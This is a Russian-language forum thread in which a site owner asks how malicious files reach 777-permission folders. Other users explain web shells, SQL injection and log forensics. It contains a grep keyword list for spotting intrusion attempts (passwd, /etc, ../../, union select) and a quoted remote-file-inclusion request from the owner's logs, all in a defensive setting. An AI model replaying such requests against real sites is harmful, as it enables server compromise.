Как запретить закачку файлов?

S
На сайте с 22.04.2010
Offline
1
2501

Есть несколько папок с правами 777. Как можно реализовать запрет закачки файлов в эту папку, за исключением нескольких типов картинок?

Либо еще лучше, запретить через apache внешнюю закачку всех файлов, за исключением картинок, такое возможно?

zexis
На сайте с 09.08.2005
Offline
388
#1

Закачку осуществляет PHP скрипт в указанную вами папку.

Куда вы укажите туда он и закачивает файлы.

Никто не может через один лишь апач закачать файл в произвольную

папку даже если права папки 777

S
На сайте с 22.04.2010
Offline
1
#2

Каким образом тогда удается закачать вредоносные файлы в созданную папку с правами 777, которая никаким образом не относится к движку сайта, соответственно нет никаких скриптов, указывающих что закачку нужно производить именно в эту папку? Как от таких действий можно защитится, или хотя бы выяснить через какой скрипт закачивают?

M
На сайте с 01.12.2009
Offline
235
#3

Web-shell - это небольшая программка, которую хакер заливает на взломанный web-сервер, чтобы иметь возможность его удаленно изучать и администрировать. Иначе говоря, web-shell предоставляет web-интерфейс для запуска консольных команд и просмотра результатов. Web-шеллы создаются на различных web-языках, таких как Perl, PHP, ASP.

Администратор Linux,Freebsd. построения крупных проектов.
zexis
На сайте с 09.08.2005
Offline
388
#4

Вредоносные файлы закачивают через дырки в ваших PHP скриптах.

Например, принимают от пользователя число, но не проверяют, что пользователь ввел число, а не команду.

И передают эту команду в MySQL.

В MySQL есть команды работы с файлами. (лучше эти команды отключить по возможности)

S
На сайте с 22.04.2010
Offline
1
#5

А в какие-то логи при закачке файла через скрипт записи идут. То есть это можно проследить, через какой именно скрипт закачивают?

M
На сайте с 01.12.2009
Offline
235
#6

Можно всё.

zexis
На сайте с 09.08.2005
Offline
388
#7
sponles:
А в какие-то логи при закачке файла через скрипт записи идут. То есть это можно проследить, через какой именно скрипт закачивают?

Поиск дырок в скриптах

Сделайте поиск по лог файлам вебсервера access.log

Желательно по всем имеющимся архивным логам access.log

Командой grep ищите в них слова

union

select

passwd

admin

root

/etc

/tmp

../../

mysql

file

Наверняка найдете IP адреса с которых были попытки взлома.

Изучайте какие запросы были с этих IP.

Поис веб шелов.

Командой find найдите все файлы которые были созданы по дате недавно в папке сайта и всех его подкаталогах. Таким образом найдете закаченные вам веб шеллы.

Вебшелов часто закачивают в папки со статическими файлами графики.

Поищите файлы с расширением .php в папках для статики

S
На сайте с 22.04.2010
Offline
1
#8

Попыток нашел тысячи, все обращения в виде:

"GET адрес сайта.ру///?_SERVER[DOCUMENT_ROOT]=путь к вирусу/load.txt??? HTTP/1.1",

Причем все обращения с разных IP, видимо орудуют боты на автомате. При этом никаких записей имени загруженного файла в логах не обнаружено. Сейчас буду ручками директории просматривать.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий